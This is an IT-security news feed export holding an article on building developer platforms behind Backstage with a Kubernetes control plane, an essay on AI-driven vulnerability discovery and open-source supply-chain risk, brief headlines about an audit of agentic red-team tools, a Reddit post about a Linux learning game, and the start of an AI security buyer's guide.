<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><tbody><tr><td><strong>Concept</strong></td><td><strong>Description</strong></td><td><strong>Backstage mapping</strong></td></tr><tr><td>Project</td><td>A cloud-native application composed of multiple components. It is also a unit of isolation.</td><td>System</td></tr><tr><td>Component</td><td>A deployable unit, such as web services, APIs, workers, or scheduled tasks.</td><td>Component</td></tr><tr><td>Endpoint</td><td>A network-accessible interface exposed by a component. </td><td>API</td></tr><tr><td>Resource</td><td>External infrastructure such as databases, queues, and caches.</td><td>Resource</td></tr><tr><td>Dependency</td><td>A component’s reliance on endpoints or resources.</td><td>consumesAPI, dependsOn</td></tr></tbody></table> </div></figure>



<p>These are not just static abstractions; they also have associated runtime semantics. The following diagram illustrates runtime representations of these concepts.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/Image_03_cell_diagram.png" alt="Image_03_cell_diagram" class="wp-image-4189100" width="1024" height="905" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">WSO2</p></div>



<p>In the workload cluster, a project becomes an isolation boundary for all of its components. The platform translates this into Kubernetes namespaces and network policies that enforce the boundary, not just document it.</p>



<p>Endpoint visibility determines which endpoints can talk to which. A project-scoped endpoint gets network policies that block traffic from outside the project. An organization-scoped endpoint is exposed to internal traffic but remains behind the internal gateway. An external endpoint gets routed through the public gateway with appropriate authentication. Developers declare visibility; the platform generates the policies.</p>



<p>Dependencies work the same way. When a component declares a dependency on an endpoint, the platform injects the URL and other environment variables required to connect to the dependency. It configures the network policies for both directions, egress from the calling endpoint and ingress to the target endpoint. Without the declared dependency, egress is blocked by default. The dependency graph you see above reflects actual permitted traffic flow, not just intended relationships.</p>



<h2 class="wp-block-heading"><a></a>You need platform abstractions, too</h2>



<p>Developer abstractions help your developers. Platform abstractions help you.</p>



<p>While developers work with components, endpoints, and dependencies, you need a different vocabulary to design and operate the platform itself. These abstractions let you and your team define standards, enforce policies, and create structure without writing low-level configurations for every scenario.</p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><tbody><tr><td><strong>Concept</strong></td><td><strong>Description</strong></td></tr><tr><td>Namespace</td><td>A logical grouping of users and resources, typically aligned to a company, business unit, or team. Defines ownership and access boundaries.</td></tr><tr><td>Data plane</td><td>A Kubernetes cluster that hosts one or more deployment environments. You can have multiple data planes for isolation, regional distribution, or scaling.</td></tr><tr><td>Environment</td><td>A runtime context, such as dev, test, staging, or prod, where workloads are deployed and executed. Environments carry their own policies and resource configurations.</td></tr><tr><td>Pipeline</td><td>A defined process that governs how work, such as builds, deployments, promotions, or any automated workflows, flows through the platform. Encodes your operational processes as a platform primitive.</td></tr><tr><td>Component type</td><td>Defines a category of workload—Service, Worker, Cron, Job.</td></tr><tr><td>Trait</td><td>A reusable capability that attaches to any component, such as autoscaling, resilience, observability, and security policies. Compose behaviors without duplicating configuration.</td></tr></tbody></table> </div></figure>



<p>These abstractions separate platform concerns from application concerns. Developers don’t need to know which cluster their code runs on or how environments are wired together. They deploy to “staging” or “prod,” and you define what those terms mean.</p>



<h2 class="wp-block-heading"><a></a>The missing layer is a control plane</h2>



<p>The control plane is where abstractions become real. It sits between the portal and your workload clusters, translating developer intent into infrastructure configuration.</p>



<p>You can think of it as a compiler that targets Kubernetes clusters, converting higher-level abstractions into what Kubernetes and its underlying frameworks understand. It can also apply platform-wide rules during this compilation. Resource limits, security requirements, etc., can be enforced consistently, not merely documented and hoped for.</p>



<p>But compilation is only half the job. The control plane also reconciles continuously. It monitors drift between the declared and actual states. When they diverge, it corrects. Your abstractions remain the source of truth; the control plane enforces them over time.</p>



<h2 class="wp-block-heading"><a></a>Programmability is not optional</h2>



<p>One of the key aspects of this control plane is programmability. If you want your platform to evolve, the control plane needs to be extensible. Different teams have different requirements. New capabilities emerge. You can’t anticipate everything up front.</p>



<p>This means allowing customization of how abstractions compile to Kubernetes manifests. But extensibility without guardrails is dangerous. You need programmability that preserves your invariants. The goal is constrained flexibility, open enough to evolve, structured enough to stay coherent.</p>



<h2 class="wp-block-heading"><a></a>Observable abstractions make the portal useful</h2>



<p>The control plane also aggregates runtime state and associates it with your abstractions. This is what makes the portal useful. Without this, developers piece together information from different tools: Kubernetes dashboard for pod status, Argo CD for the deployment state, Grafana for metrics, Jaeger for traces. Each tool knows part of the story; none shows the full picture.</p>



<p>With the control plane aggregating state, the portal tells a connected story. When a developer opens a component page in Backstage, they see:</p>



<ul class="wp-block-list">
<li>Deployed environments and their status</li>



<li>Current replicas and resource usage</li>



<li>Recent deployments and who triggered them</li>



<li>Logs, metrics, and traces that are scoped to that component, in each environment</li>



<li>Dependencies and their health</li>
</ul>



<p>No context-switching. No reconstructing which pod belongs to which service in which cluster. The abstraction is the anchor; everything else attaches to it.</p>



<p>This only works because the control plane understands both sides. It compiled the abstractions to Kubernetes, so it knows how to map runtime data back. Information flows in both directions. Downward: developer intent flows through the control plane and becomes running workloads. Upward: runtime state flows back through the control plane and appears in the portal.</p>



<p>This is what makes the portal actionable. It’s not just displaying information; it’s connected to a system that can act.</p>



<h2 class="wp-block-heading"><a></a>Data plane: keep it simple</h2>



<p>The data plane is where your workloads actually run. In most cases, this means one or more Kubernetes clusters. The data plane doesn’t know about your abstractions. It understands Kubernetes primitives such as pods, deployments, services, and ingresses. The control plane’s job is to compile your higher-level concepts into these primitives and apply them.</p>



<p>The data plane does one thing: it runs what the control plane tells it to run. The intelligence lives in the control plane; the execution happens in the data plane.</p>



<h2 class="wp-block-heading">Where AI fits into the platform</h2>



<p>AI is now part of every platform conversation, but the architectural question is where it actually belongs.</p>



<p>The abstractions and control plane you’ve built create the foundation. You have well-defined concepts such as components, endpoints, and dependencies. You have a runtime state aggregated and tied to those concepts. You have a connected view of your system. AI agents can definitely leverage this.</p>



<h3 class="wp-block-heading"><a></a>Agents as platform users</h3>



<p>AI agents should be able to interact with your platform as first-class participants. This requires exposing platform capabilities through interfaces that agents can use, such as <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html" data-type="link" data-id="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">Model Context Protocol</a> (MCP) servers, APIs with clear semantics, user-friendly CLIs, and skills that map to platform operations.</p>



<p>These capabilities of the platform enable agents to create components, trigger builds and deployments, query environment status, and reason about dependencies. They help you and your developers become more productive.</p>



<h3 class="wp-block-heading"><a></a>Agents as platform capabilities</h3>



<p>You can also embed agents inside your platform to help your teams’ day-to-day operations. Here are some examples of agents you can develop:</p>



<ul class="wp-block-list">
<li>SRE agents: Analyze logs, metrics, and traces to surface likely root causes. Instead of developers digging through dashboards, the agent correlates signals and suggests where to look.</li>



<li>FinOps agents: Help teams understand and optimize resource costs across environments and components.</li>



<li>Architect agents: Assist with system design decisions, such as dependency analysis, capacity planning, and migration impact assessment.</li>
</ul>



<p>These agents work because they have access to the control plane’s unified view. They see abstractions, runtime state, and observability data in one place, the same connected story developers see in the portal.</p>



<p>The pattern holds. Good abstractions make everything easier, including AI.</p>



<h2 class="wp-block-heading"><a></a>OpenChoreo as a reference implementation</h2>



<p><a href="https://github.com/openchoreo/openchoreo" data-type="link" data-id="https://github.com/openchoreo/openchoreo">OpenChoreo</a> is an open-source developer platform for Kubernetes. It was recently accepted into the CNCF as a sandbox project. OpenChoreo implements the architecture described in this article: developer abstractions backed by a control plane, a Backstage-powered portal, integrated CI/CD and GitOps, and observability wired to your abstractions.</p>



<p>If you’re building this architecture yourself, OpenChoreo is worth studying as a reference, even if you don’t adopt it directly. The project demonstrates how these pieces fit together: how abstractions compile into Kubernetes resources, how runtime state flows back to the portal, and how guardrails are enforced during compilation.</p>



<p>You can use OpenChoreo as a complete platform, or install its Backstage plugins into your existing portal and use just the control plane layer. Either way, the underlying patterns are what matter. The architecture is the idea. OpenChoreo is one way to implement it.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/image_04_multi_plane_architecture.png?w=1024" alt="image_04_multi_plane_architecture" class="wp-image-4189109" width="1024" height="552" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">WSO2</p></div>



<h2 class="wp-block-heading">A useful mental model: multi-plane architecture</h2>



<p>OpenChoreo separates concerns across five planes:</p>



<ol class="wp-block-list">
<li>Experience plane: Where developers, platform engineers, and SREs interact with the platform via the Backstage-powered portal, CLI, GitOps, or AI agents.</li>



<li>Control plane: The brain that translates high-level abstractions (components, APIs, environments, pipelines) into Kubernetes manifests. Programmable through component types and traits, so you can extend it without forking or writing low-level controllers. Continuously reconciles the runtime state back into those abstractions.</li>



<li>Data plane: Where workloads run. Enforces the semantics of your abstractions, such as project isolation, traffic policies, and security boundaries. These aren’t just configurations; the platform guarantees them.</li>



<li>Observability plane: Feeds metrics, logs, and traces back through the same abstractions developers already understand, requiring no translation.</li>



<li>Workflow plane (optional): Handles builds using Cloud Native Buildpacks and Argo Workflows by default.</li>
</ol>



<p>These planes work together but remain separate concerns. You can reason about each independently, evolve them at different rates, and deploy them flexibly: a single cluster with namespace isolation for dev/test, fully separated multi-cluster setups for production, or hybrid topologies that colocate planes like Control and CI for cost efficiency.</p>



<h2 class="wp-block-heading"><a></a>AI and OpenChoreo</h2>



<p>OpenChoreo is being built to treat AI agents as first-class participants. In OpenChoreo 1.0, external agents can interact with the platform via MCP servers, agent skills, or the CLI to generate and edit component configurations, reason about releases and environments, and more. The built-in SRE Agent is a first example of this. It analyzes logs, metrics, and traces from your deployments and uses LLMs to surface likely root causes and actionable insights.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/Image_05_external_internal_agents_openchoreo.png?w=1024" alt="Image_05_external_internal_agents_openchoreo" class="wp-image-4189115" width="1024" height="584" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">WSO2</p></div>



<h2 class="wp-block-heading">From portal to platform</h2>



<p>Backstage solved the portal problem. It gave you a unified interface for catalogs, documentation, and golden paths. But a portal isn’t a platform. There’s a gap between what developers see and what’s actually running, and that’s where you get stuck. You fill it with point-to-point integrations, custom plugins, and scripts that become their own maintenance burden.</p>



<p>The pattern that works is portal, control plane, data plane: </p>



<ul class="wp-block-list">
<li>A portal that gives developers ready access to catalogs, documentation, and templates.</li>



<li>A control plane that compiles platform abstractions, reconciles drift, and aggregates runtime state.</li>



<li>A data plane that runs workloads and enforces guarantees.</li>
</ul>



<p>Whether you build this yourself or you adopt something like OpenChoreo, the architecture matters more than the tools. Get the layers right, and new capabilities slot in cleanly. Get them wrong, and every feature request becomes a project.</p>



<p>Backstage gives you the front door. The real platform begins behind it.</p>



<p><em>—</em></p>



<p><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
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<title><![CDATA[Why your cloud strategy is already out of date]]></title>
<description><![CDATA[I’ve been watching two conversations happen in parallel for the last ~3x months, and almost nobody is connecting them. That gap is going to hurt.



The first conversation is about cloud. Enterprises everywhere are rethinking their hyperscaler dependence. Costs are spiraling out of control. AI wo...]]></description>
<link>https://tsecurity.de/de/3623891/it-security-nachrichten/why-your-cloud-strategy-is-already-out-of-date/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3623891/it-security-nachrichten/why-your-cloud-strategy-is-already-out-of-date/</guid>
<pubDate>Thu, 25 Jun 2026 11:08:34 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>I’ve been watching two conversations happen in parallel for the last ~3x months, and almost nobody is connecting them. That gap is going to hurt.</p>



<p>The first conversation is about cloud. Enterprises everywhere are rethinking their hyperscaler dependence. Costs are spiraling out of control. AI workloads are data-sensitive, latency-hungry and expensive to run on someone else’s infrastructure. Suddenly, private clouds are back in fashion. Sovereign clouds are popping up across Europe and Asia. Neoclouds, those nimble, specialized providers, are chipping away at the dominance of AWS, Azure and GCP. The logic is sound. You want control over your costs, your data, your destiny.</p>



<p>After a decade of “just put it in the cloud,” the pendulum is swinging back. Smart move.</p>



<p>The second conversation is happening in a much smaller room. It’s about what AI is about to do to the software supply chain. <a href="https://red.anthropic.com/2026/mythos-preview/" rel="nofollow">Mythos</a> is real. I’ve seen enough to stop treating it like a thought experiment. These models are finding hundreds of vulnerabilities a night, not simple code mistakes, but novel chains of existing issues woven together into attack paths no human researcher would have mapped. It’s creative in a way that genuinely surprised me. That’s not a faster SAST scanner or a better linter. That’s a different class of threat entirely. And here’s the thing: even if you believe Mythos specifically is overhyped or a marketing play, the underlying capability is coming. It’s a when, not an if. The genie isn’t going back in the bottle.</p>



<p>Now, here’s the connection almost nobody is making: you’re replatforming for control, but the software supply chain underneath your workloads was never built for what’s about to hit it. These two trends are on a collision course, and most cloud strategy documents I see don’t mention it at all.</p>



<p>Here’s the connection nobody’s making: you’re replatforming for control, but the software supply chain underneath your workloads wasn’t built for what’s coming.</p>



<h2 class="wp-block-heading">The problem isn’t your infrastructure</h2>



<p>Your private cloud, your sovereign cloud, your carefully chosen neocloud, they all pull the same dependencies. The same open source packages. The same container images. The same long tail of libraries maintained by one or two people who fit it in on weekends and owe your enterprise absolutely nothing. That’s not a criticism of maintainers. It’s just the reality of how open-source works, and it has worked remarkably well for decades. But it was designed for a different tempo.</p>



<p>When AI starts finding vulnerabilities at an industrial scale in those deep dependency chains, your infrastructure choice doesn’t save you. The patch pipeline breaks regardless of where the servers live. It doesn’t matter if you’re running on bare metal in a Frankfurt data center or in a regulated government cloud in Singapore. The vulnerability is inside the container. It’s baked into the base image. It’s three layers down in a logging library that got pulled in transitively six months ago, and nobody on your team even knows it’s there.</p>



<p>We designed coordinated vulnerability disclosure for a world where finding a critical bug was rare, expensive and slow. A skilled researcher might spend weeks reverse-engineering something to find one really good vulnerability. They’d notify the maintainer. The maintainer would have time to triage, develop a patch, test it and publish it. The downstream ecosystem would pick it up over days or weeks. The whole rhythm assumed that the finding was the bottleneck. It’s not anymore. Now the finding is instantaneous and high-volume. The bottleneck has shifted entirely to the human side, the maintainer’s attention, the review process, the patching cadence, the downstream adoption. That pipeline doesn’t scale. It was never going to.</p>



<p>And we’re already seeing the early signs of strain. Maintainers are drowning in automated vulnerability reports and AI-generated noise. Security scanners fire off tickets for everything, with no triage, no context, no prioritization. The signal-to-noise ratio is terrible. Now imagine layering on hundreds of real, weaponizable CVEs discovered by a model that works overnight. The maintainer burns out. The patch doesn’t come. The downstream is exposed. Multiply that by thousands of projects across the long tail of open source, and you start to see the shape of the problem.</p>



<h2 class="wp-block-heading">What I think actually happen</h2>



<p>Two things need to be true at the same time, and neither of them is comfortable.</p>



<ol start="1" class="wp-block-list">
<li><strong>We need coordinated disclosure that actually works at scale.</strong> Not the fragmented mess we have today. Not a dozen competing groups, each with their own reporting format, their own severity ratings, their own urgency theatrics. One trusted pipeline. One place where vetted, verified, actionable reports land in a maintainer’s inbox with everything they need to act. Maintainers need to know that if they see a report from this pipeline, it’s real, it’s urgent and it comes with a tested fix. That’s the only way to cut through the noise. This isn’t a technical problem as much as it’s a coordination and trust problem. And it’s solvable if we have the will to stop competing and start cooperating.<br><br></li>



<li>And this is the part that makes people uncomfortable: <strong>We need a maintainer of last resort.</strong> I’m not saying this lightly. Some projects won’t patch. Some can’t, the maintainer is gone, the repo is abandoned, the original author is unreachable. Some maintainers will respond but won’t be able to ship a fix in the timeframe that matters. In every one of those cases, the downstream is left holding the risk with no recourse. Open source has always had a mechanism for exactly this situation: the fork. You take the project, you assume stewardship and you keep it alive independently. That’s not a violation of open-source principles. It is the principle. It’s the escape hatch that ensures no single maintainer becomes a permanent single point of failure for the entire ecosystem.</li>
</ol>



<p>If we don’t build both of these things, the coordinated pipeline and the last-resort stewardship, the default outcome is chaos. Every major cloud provider will fork its own versions of critical libraries. Security vendors will ship competing forks of the same logging framework, the same serialization library, the same crypto wrapper. Your team will be left trying to figure out which fork has which CVE fixed, whether the fix itself introduces new issues and whether the fork is even maintained anymore. That’s not a theoretical nightmare. That’s the logical endpoint of doing nothing, and we’re already seeing early signs of it.</p>



<h2 class="wp-block-heading">What if I’m asking the wrong question?</h2>



<p>If I’m advising a customer right now, and I have these conversations every week, I tell them three things.</p>



<p>One, your cloud strategy needs a supply chain strategy baked in from the start. Not bolted on later as a compliance checkbox. If you’re replatforming to a sovereign cloud or a private hyperscaler or a neocloud, you’re bringing your dependencies with you. Understand what’s in your containers. Know your SBOM not as a document you generate for an audit, but as a living inventory you can query when something breaks. If you don’t know what’s in your stack, you can’t fix it.</p>



<p>Two, ask your vendors the hard question: what’s your Plan B when a critical dependency doesn’t get patched? Not if. When. Look for vendors who have thought about this, who have a strategy for maintaining forks, who participate in the ecosystem’s security efforts rather than just consuming and complaining. The ones who shrug or change the subject are telling you something important about how they’ll handle the next Log4j moment, except the next one might not be a single high-profile library. It might be fifty libraries simultaneously, across your entire stack.</p>



<p>Three, start building internal muscle for this now. That means having people who understand your dependency graph deeply enough to make tough calls about when to wait for an upstream patch and when to fork and maintain yourself. It means having the CI/CD infrastructure to ship fixes fast without breaking things. It means training your incident response teams to think about supply chain compromises, not just infrastructure attacks. The skills and processes you need are different from what most organizations have today.</p>



<h2 class="wp-block-heading">The hard fork</h2>



<p>There’s a version of this story where we get it right. Where the ecosystem comes together, builds the disclosure pipeline, funds the maintainer of last resort and creates a model that actually works for the AI era. I genuinely believe that’s possible. Open source has survived existential threats before. It adapts precisely because it’s decentralized, because anyone can fork, because the license guarantees the right to pick up where someone else left off.</p>



<p>But this time the clock is ticking faster. The same models that are going to stress-test our dependencies are the ones that can help us defend them. The question is whether we organize ourselves in time, or whether we wait for a crisis that forces everyone into their corners, forking in isolation, burning trust and learning the hard way what coordination could have prevented.</p>



<p>Your cloud strategy document probably has a section on disaster recovery. It probably covers what happens when a region goes down, when a provider has an outage, when a certificate expires. Does it cover what happens when a library four layers deep in your container image is discovered to have a critical vulnerability, and the maintainer hasn’t been seen on GitHub in eight months?</p>



<p>If it doesn’t, now is the time to write that section. Because that scenario isn’t hypothetical anymore. It’s just a matter of when.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
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<title><![CDATA[Agentic Red-Team Tools Expose API Keys, Sandbox Escape, and Host Compromise Risks]]></title>
<description><![CDATA[A new peer-reviewed security analysis reveals that 10 of 12 widely used agentic offensive security platforms can be fully exploited to compromise operators’ machines, even through sandboxed containers. Researchers from Cracken published the first in-depth security audit of 12 open-source agentic ...]]></description>
<link>https://tsecurity.de/de/3623783/it-security-nachrichten/agentic-red-team-tools-expose-api-keys-sandbox-escape-and-host-compromise-risks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3623783/it-security-nachrichten/agentic-red-team-tools-expose-api-keys-sandbox-escape-and-host-compromise-risks/</guid>
<pubDate>Thu, 25 Jun 2026 10:20:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A new peer-reviewed security analysis reveals that 10 of 12 widely used agentic offensive security platforms can be fully exploited to compromise operators’ machines, even through sandboxed containers. Researchers from Cracken published the first in-depth security audit of 12 open-source agentic red-team systems, exposing a class of systemic architectural vulnerabilities that allow adversaries to exfiltrate […]</p>
<p>The post <a href="https://cyberpress.org/agentic-red-team-tools-expose/">Agentic Red-Team Tools Expose API Keys, Sandbox Escape, and Host Compromise Risks</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Realistic-Linux-Game]]></title>
<description><![CDATA[I'm working on a concept for a narrative Linux game where players learn real Linux skills by solving problems, investigating incidents, and interacting with realistic systems. The goal is not to create another Hollywood-style hacking game where everything is solved with a single button press. Ins...]]></description>
<link>https://tsecurity.de/de/3623060/linux-tipps/realistic-linux-game/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3623060/linux-tipps/realistic-linux-game/</guid>
<pubDate>Thu, 25 Jun 2026 01:24:20 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I'm working on a concept for a narrative Linux game where players learn real Linux skills by solving problems, investigating incidents, and interacting with realistic systems.</p> <p>The goal is not to create another Hollywood-style hacking game where everything is solved with a single button press.</p> <p>Instead, the game would focus on things Linux users actually encounter:</p> <ul> <li>navigating file systems</li> <li>reading logs</li> <li>managing services</li> <li>troubleshooting network issues</li> <li>working with permissions</li> <li>SSH access to remote systems</li> <li>containers and automation</li> <li>investigating strange system behavior</li> </ul> <p>One of the main design goals is accessibility.</p> <p>The game is not intended only for Linux professionals. Complete beginners should be able to start with zero Linux experience and gradually learn real concepts through gameplay, documentation, and exploration.</p> <p>Experienced users should recognize authentic tools, workflows, and problems.</p> <p>Beginners should finish the game feeling comfortable opening a Linux terminal in real life.</p> <p>The idea is simple:</p> <p>Learn Linux.<br> Solve problems.<br> Uncover a mystery.</p> <p>What would you absolutely want to see in a game like this?</p> <p>And what would immediately break immersion for you?</p> <p>PS.: One more thing we want to clarify: the game will be made in a 2D / 2.5D style. The reason is simple: we are only two solo developers working on this project in our free time. A full 3D game would require much more time, experience, and resources than we currently have. But we still want to create something memorable — with a strong story, variety, atmosphere, interesting camera work, and unique mechanics.</p> <p>We also decided to add an engineering element to the game. After the first test version / demo, we plan to introduce a Raspberry Pi-related part: assembling it, configuring it, and using it in a way that becomes important for the main character and the story.</p> <p>But we want to make one thing clear: we are not going to move away from realism. There will be no “magic hacking”, no overpowered superhero, and no unrealistic power fantasy. We want the main character to feel like an ordinary person — someone real, limited, and human — who has to solve problems with knowledge, patience, and practical skills.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Glass-Bat7863"> /u/Glass-Bat7863 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1ue7mtb/realisticlinuxgame/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1ue7mtb/realisticlinuxgame/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[Red-Team AI Tool Vulnerabilities Let Attackers Exfiltrate API Keys and Compromise Operators’ Systems]]></title>
<description><![CDATA[A first-of-its-kind security analysis of 12 widely deployed agentic offensive-security tools reveals critical architectural flaws that allow adversaries to steal LLM API keys, establish persistent footholds, and achieve full host compromise even inside sandboxed containers. Security researchers f...]]></description>
<link>https://tsecurity.de/de/3621914/it-security-nachrichten/red-team-ai-tool-vulnerabilities-let-attackers-exfiltrate-api-keys-and-compromise-operators-systems/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3621914/it-security-nachrichten/red-team-ai-tool-vulnerabilities-let-attackers-exfiltrate-api-keys-and-compromise-operators-systems/</guid>
<pubDate>Wed, 24 Jun 2026 17:39:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A first-of-its-kind security analysis of 12 widely deployed agentic offensive-security tools reveals critical architectural flaws that allow adversaries to steal LLM API keys, establish persistent footholds, and achieve full host compromise even inside sandboxed containers. Security researchers from Cracken have…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/red-team-ai-tool-vulnerabilities-let-attackers-exfiltrate-api-keys-and-compromise-operators-systems/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/red-team-ai-tool-vulnerabilities-let-attackers-exfiltrate-api-keys-and-compromise-operators-systems/">Red-Team AI Tool Vulnerabilities Let Attackers Exfiltrate API Keys and Compromise Operators’ Systems</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Red-Team AI Tool Vulnerabilities Let Attackers Exfiltrate API Keys and Compromise Operators’ Systems]]></title>
<description><![CDATA[A first-of-its-kind security analysis of 12 widely deployed agentic offensive-security tools reveals critical architectural flaws that allow adversaries to steal LLM API keys, establish persistent footholds, and achieve full host compromise even inside sandboxed containers. Security researchers f...]]></description>
<link>https://tsecurity.de/de/3621753/it-security-nachrichten/red-team-ai-tool-vulnerabilities-let-attackers-exfiltrate-api-keys-and-compromise-operators-systems/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3621753/it-security-nachrichten/red-team-ai-tool-vulnerabilities-let-attackers-exfiltrate-api-keys-and-compromise-operators-systems/</guid>
<pubDate>Wed, 24 Jun 2026 16:53:56 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A first-of-its-kind security analysis of 12 widely deployed agentic offensive-security tools reveals critical architectural flaws that allow adversaries to steal LLM API keys, establish persistent footholds, and achieve full host compromise even inside sandboxed containers. Security researchers from Cracken have published the first in-depth security analysis of agentic red-team systems, AI-powered tools designed to autonomously […]</p>
<p>The post <a href="https://cybersecuritynews.com/red-team-ai-tool-vulnerabilities/">Red-Team AI Tool Vulnerabilities Let Attackers Exfiltrate API Keys and Compromise Operators’ Systems</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[AI-SPM buyer’s guide: 14 tools to secure your AI infrastructure]]></title>
<description><![CDATA[Widespread enterprise adoption of AI has created a pressing need for security solutions — a tall order given that AI’s reach into organizational infrastructure and data is enormous and continues to grow.



Moreover, where an organization sits on the AI maturity curve impacts its security needs. ...]]></description>
<link>https://tsecurity.de/de/3620469/it-security-nachrichten/ai-spm-buyers-guide-14-tools-to-secure-your-ai-infrastructure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3620469/it-security-nachrichten/ai-spm-buyers-guide-14-tools-to-secure-your-ai-infrastructure/</guid>
<pubDate>Wed, 24 Jun 2026 09:09:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>Widespread enterprise adoption of AI has created a pressing need for security solutions — a tall order given that AI’s reach into organizational infrastructure and data is enormous and continues to grow.</p>



<p>Moreover, where an organization sits on the AI maturity curve impacts its security needs. Trail of Bits CEO Dan Guide <a href="https://www.youtube.com/watch?v=kgwvAyF7qsA">describes the AI journey as a migration</a> from AI-assisted, where AI tools are used on existing workflows; through AI-augmented, which uses new workflows based on AI; to the AI-native organization, where AI “becomes a core participant in the delivery and operations of a business.”</p>



<p>Those three stages require very different approaches to securing AI. They also present challenges for AI security vendors, whose platforms must fit in multiple places in a corporate network and interact with a broad spectrum of applications — especially as agentic AI expands. As analyst <a href="https://www.linkedin.com/pulse/guide-ai-agent-governance-enterprise-david-linthicum-tkcve/">David Linthicum recently posted</a>, “the conversation now has to shift from model fascination to operational discipline. The question is how those agents should be governed once they begin touching workflows that affect customers, employees, suppliers, compliance, and revenue.” </p>



<p>Making matters worse is that the average enterprise manages 37 agents, with more than half running without security oversight or logging, according to <a href="https://www.microsoft.com/en-us/security/security-insider/emerging-trends/cyber-pulse-ai-security-report#Introduction">Microsoft’s 2026 Cyber Pulse report</a>, which also found that, while 80% of Fortune 500 companies use active AI agents, only 10% have a clear strategy for managing them.</p>



<p>That lack of strategy also opens the door for attackers to abuse corporate AI systems for malicious purposes, as the recent <a href="https://krebsonsecurity.com/2026/06/hackers-used-metas-ai-support-bot-to-seize-instagram-accounts/">exploit of Meta’s account recovery using chatbots</a> demonstrated.</p>



<p>The trick to securing AI systems is in understanding how much protection is needed and where it should be applied in the expanding AI universe. While one could rent a well-meaning AI agent called <a href="https://agentalent.ai/agents/fa682e11-52a6-4dc9-9ae8-63816d876cc9">Sentry for $7,400 per month</a> to automate the daily work of a SOC analyst, many organizations rolling out AI across their business would be best served by considering AI security posture management (AI-SPM) tools.</p>



<p>Over the past two years, this emerging field has matured, with many security vendors incorporating or acquiring SPM features as part of their general security product portfolio.</p>



<p>Some vendors, such as SentinelOne and Concentric, don’t specifically sell AI-SPM per se, but offer an SPM tool that is part of a larger package of AI security services. Others offer AI-SPM in conjunction with their other SPM tools or <a href="https://www.csoonline.com/article/573629/cnapp-buyers-guide-top-tools-compared.html">CNAPP security offerings</a>. Some vendors, such as Cyera and Palo Alto, offer multiple AI-SPM packaging alternatives with differing feature sets.</p>



<p>Choosing the right product requires careful examination of the roster of features and integrations each product offers to ensure that it doesn’t duplicate existing security tooling or worse, leave important coverage gaps.</p>



<p>Here we take a deeper look at the AI-SPM product category, with a breakdown of offerings from 14 of the leading vendors in this increasingly important security ecosystem.</p>



<h2 class="wp-block-heading">AI security posture management explained</h2>



<p><a href="https://www.cio.com/article/2503234/how-guardrails-allow-enterprises-to-deploy-safe-effective-ai.html">AI security posture management</a> is an evolving cybersecurity discipline focused on ensuring the integrity and security of AI and machine learning systems. AI-SPM encompasses strategies, tools, and techniques for monitoring, assessing, and enhancing the security of AI models, data, pipelines, applications, and services, even as threats to those entities continually evolve.</p>



